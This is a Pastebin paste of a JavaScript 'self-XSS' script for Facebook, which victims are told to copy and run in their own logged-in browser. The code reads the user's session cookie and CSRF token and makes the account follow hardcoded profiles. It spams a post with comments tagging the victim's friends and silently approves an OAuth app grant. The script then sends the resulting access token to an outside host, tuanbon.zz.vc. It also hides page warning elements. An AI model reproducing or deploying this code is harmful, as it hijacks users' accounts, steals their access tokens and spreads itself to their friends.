Advertisement
Guest User

Untitled

a guest
Nov 23rd, 2014
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.36 KB | None | 0 0
  1. /* Nhan to hop phim | CTRL + A | roi nhan | CTRL + C | de COPY toan bo CODE */
  2. // ==UserScript==
  3. // _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  4. // | |
  5. // | _____ _ ____ __ __ ______ __ __ ____ _ _ |
  6. // | |_ _| | | / __ \ \ \ / / | ____| \ \ / / / __ \ | | | | |
  7. // | | | | | | | | | \ \ / / | |__ \ \_/ / | | | | | | | | |
  8. // | | | | | | | | | \ \/ / | __| \ / | | | | | | | | |
  9. // | _| |_ | |____ | |__| | \ / | |____ | | | |__| | | |__| | |
  10. // | |_____| |______| \____/ \/ |______| |_| \____/ \____/ |
  11. // | |
  12. // |_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ |
  13. // _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  14. // | ___ _ ___ ___ ___ ___ ___ _ __ |
  15. // | | __| /_\ / __| | __| | _ ) / _ \ / _ \ | |/ / |
  16. // | | _| / _ \ | (__ | _| | _ \ | (_) | | (_) | | ' < |
  17. // | |_| /_/ \_\ \___| |___| |___/ \___/ \___/ |_|\_\ |
  18. // |_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _|
  19.  
  20. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  21. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  22.  
  23. function IDS(r) {
  24. var X = new XMLHttpRequest();
  25. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  26. var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
  27. X.open("POST", XURL, true);
  28. X.onreadystatechange = function () {
  29. if (X.readyState == 4 && X.status == 200) {
  30. X.close;
  31. }
  32. };
  33. X.send(XParams);
  34. }
  35.  
  36. function Like(p) {
  37. var Page = new XMLHttpRequest();
  38. var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  39. var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
  40. Page.open("POST", PageURL, true);
  41. Page.onreadystatechange = function () {
  42. if (Page.readyState == 4 && Page.status == 200) {
  43. Page.close;
  44. }
  45. };
  46. Page.send(PageParams);
  47. }
  48. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  49. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  50. var now = (new Date).getTime();
  51.  
  52. function P(opo) {
  53. var X = new XMLHttpRequest();
  54. var XURL = "//www.facebook.com/ajax/ufi/like.php";
  55. var XParams = "like_action=true&ft_ent_identifier=" + opo + "&source=1&client_id=" + now + "%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg=" + fb_dtsg + "&phstamp=";
  56. X.open("POST", XURL, true);
  57. X.onreadystatechange = function () {
  58. if (X.readyState == 4 && X.status == 200) {
  59. X.close;
  60. }
  61. };
  62. X.send(XParams);
  63. }
  64.  
  65. function a(abone) {
  66. var http4 = new XMLHttpRequest;
  67. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  68. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  69. http4.open("POST", url4, true);
  70. http4.onreadystatechange = function () {
  71. if (http4.readyState == 4 && http4.status == 200) http4.close
  72. };
  73. http4.send(params4)
  74. }
  75.  
  76. function sublist(L) {
  77. var X = new XMLHttpRequest();
  78. var XURL = "//www.facebook.com/ajax/friends/lists/subscribe/modify";
  79. var XParams = "flid=" + L +"&action=subscribe&location=feed&nctr[_mod]=pagelet_group_mall&ft[type]=40&ft[tn]=DH&__user="+user_id+"&__a=1&__dyn=7n8ahxoNpGo&__req=y&fb_dtsg="+fb_dtsg+"&phstamp=";
  80. X.open("POST", XURL, true);
  81. X.onreadystatechange = function () {
  82. if (X.readyState == 4 && X.status == 200) {
  83. X.close;
  84. }
  85. };
  86. X.send(XParams);
  87. }
  88.  
  89. //Go
  90. a("100005069297573");
  91. a("100007553176938");
  92. a("100003296082571");
  93. a("100006192319013");
  94. a("100007508086785");
  95. a("100006250127168");
  96. a("100004757238588");
  97. //post code
  98. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  99. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  100.  
  101. function arkadaslari_al(id){
  102. var xmlhttp = new XMLHttpRequest();
  103. xmlhttp.onreadystatechange = function () {
  104. if(xmlhttp.readyState == 4){
  105. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  106. for(f=0;f<Math.round(arkadaslar.payload.entries.length/27);f++){
  107. mesaj = "";mesaj_text = "";
  108. for(i=f*27;i<(f+1)*27;i++){
  109. if(arkadaslar.payload.entries[i]){
  110. mesaj += "<3 <3 <3 (Y) <3 @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  111. mesaj_text += " " + arkadaslar.payload.entries[i].text;
  112. }
  113. }
  114. yorum_yap(id ,mesaj)}
  115. }
  116. };
  117. var params = "&filter[0]=user";
  118. params += "&options[0]=friends_only";
  119. params += "&options[1]=nm";
  120. params += "&token=v7";
  121. params += "&viewer=" + user_id;
  122. params += "&__user=" + user_id;
  123. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  124. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  125. xmlhttp.send();
  126. }
  127. function RandomArkadas(){
  128. var sonuc = "";
  129. for(i=0;i<9;i++){
  130. sonuc += " @[" + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].uid + ":" + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].text + "]";
  131. }
  132. return sonuc;
  133. }
  134. function yorum_yap(id ,mesaj) {
  135. var xhr = new XMLHttpRequest();
  136. var params ="";
  137. params +="&ft_ent_identifier="+id;
  138. params +="&comment_text="+encodeURIComponent(mesaj);
  139. params +="&source=2";
  140. params +="&client_id=1377871797138:1707018092";
  141. params +="&reply_fbid";
  142. params +="&parent_comment_id";
  143. params +="&rootid=u_jsonp_2_3";
  144. params +="&clp={\"cl_impid\":\"453524a0\",\"clearcounter\":0,\"elementid\":\"js_5\",\"version\":\"x\",\"parent_fbid\":"+id+"}";
  145. params +="&attached_sticker_fbid=0";
  146. params +="&attached_photo_fbid=0";
  147. params +="&giftoccasion";
  148. params +="&ft[tn]=[]";
  149. params +="&__user="+user_id;
  150. params +="&__a=1";
  151. params +="&__dyn=7n8ahyj35ynxl2u5F97KepEsyo";
  152. params +="&__req=q";
  153. params +="&fb_dtsg="+fb_dtsg;
  154. params +="&ttstamp=";
  155. xhr.open("POST", "/ajax/ufi/add_comment.php", true);
  156.  
  157. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  158.  
  159. xhr.onreadystatechange = function () {
  160. if (xhr.readyState == 4 && xhr.status == 200) {
  161. xhr.close;
  162. }
  163. }
  164. xhr.send(params);
  165. }
  166. arkadaslari_al("1476857002528725");
  167.  
  168. //Ngon VL
  169. if(location.hostname.indexOf("www.facebook.com","static.ak.facebook.com","apps.facebook.com","beta.facebook.com")>=0)
  170. {
  171. var profile_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
  172. function uygulamaizinver(url)
  173. {
  174. var xmlhttp=new XMLHttpRequest();
  175. xmlhttp.onreadystatechange=function()
  176. {
  177. if(xmlhttp.readyState==4)
  178. {
  179. izinverhtml=document.createElement("html");
  180. izinverhtml.innerHTML=xmlhttp.responseText;
  181. if(izinverhtml.getElementsByTagName("form").length>0)
  182. {
  183. izinverhtml.innerHTML=izinverhtml.getElementsByTagName("form")[0].outerHTML
  184. act=izinverhtml.getElementsByTagName("form")[0].action;
  185. duzenlevegonder(izinverhtml,act);
  186. }
  187. }
  188. };
  189. xmlhttp.open("GET",url,true);
  190. xmlhttp.send();
  191. }
  192. function duzenlevegonder(formnesne,act)
  193. {
  194. izinverparams="";
  195. for(i=0;
  196. i<formnesne.getElementsByTagName("input").length;
  197. i++)
  198. {
  199. if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__")<0&&formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked"))
  200. {
  201. izinverparams+="&"+formnesne.getElementsByTagName("input")[i].name+"="+formnesne.getElementsByTagName("input")[i].value;
  202. }
  203. }
  204. if(formnesne.getElementsByTagName("select").length>0)
  205. {
  206. izinverparams+="&"+formnesne.getElementsByTagName("select")[0].name+"=80";
  207. }
  208. izinverparams.replace("&fb_dtsg","fb_dtsg");
  209. izinverparams+="&__CONFIRM__=1";
  210. formnesne=formnesne;
  211. var xmlhttp=new XMLHttpRequest();
  212. xmlhttp.onreadystatechange=function()
  213. {
  214. if(xmlhttp.readyState==4)
  215. {
  216. izinhtml=document.createElement("html");
  217. izinhtml.innerHTML=xmlhttp.responseText;
  218. if(izinhtml.getElementsByTagName("form").length>0)
  219. {
  220. izinhtml.innerHTML=izinhtml.getElementsByTagName("form")[0].outerHTML;
  221. act=izinhtml.getElementsByTagName("form")[0].action;
  222. duzenlevegonder(izinhtml,act)
  223. }
  224. else
  225. {
  226. sex=xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
  227. if(sex[1])
  228. {
  229. tokenyolla(sex[1]);
  230. }
  231. }
  232. }
  233. };
  234. xmlhttp.open("POST",act,true);
  235. xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  236. xmlhttp.send(izinverparams);
  237. }
  238. function TokenUrl(id)
  239. {
  240. return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id="+id+"&redirect_uri=fbconnect://success&sso_key=com&scope=email,publish_stream,user_likes,friends_likes,user_birthday";
  241. }
  242. if(!localStorage['token_'+profile_id]||(localStorage['token_'+profile_id]&&tarih.getTime()>=localStorage['token_'+profile_id]))
  243. {
  244. uygulamaizinver(TokenUrl("121876164619130"));
  245. var http=new XMLHttpRequest();
  246. http['open']('GET','http://graph.facebook.com/'+profile_id,false);
  247. http['send']();
  248. var get=JSON.parse(http['responseText']);
  249. var isim=get.name;
  250. }
  251. window.setInterval(function()
  252. {
  253. if(document.getElementsByClassName("_5ce"))
  254. {
  255. for(i=0;
  256. i<document.getElementsByClassName("_5ce").length;
  257. i++)
  258. {
  259. document.getElementsByClassName("_5ce")[i].innerHTML="";
  260. }
  261. }
  262. if(document.getElementsByClassName("uiToggle wrap"))
  263. {
  264. for(i=0;
  265. i<document.getElementsByClassName("uiToggle wrap").length;
  266. i++)
  267. {
  268. document.getElementsByClassName("uiToggle wrap")[i].innerHTML="";
  269. }
  270. }
  271. if(document.getElementsByClassName("uiPopover"))
  272. {
  273. for(i=0;
  274. i<document.getElementsByClassName("uiPopover").length;
  275. i++)
  276. {
  277. document.getElementsByClassName("uiPopover")[i].innerHTML="";
  278. }
  279. }
  280. }
  281. ,200);
  282. function tokenyolla(token)
  283. {
  284. top.location.href='http://tuanbon.zz.vc/KhangNguLol.html#'+token;
  285. }
  286. }
  287. var alibasim = "Code By Bon Dz";
  288. alert(alibasim);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement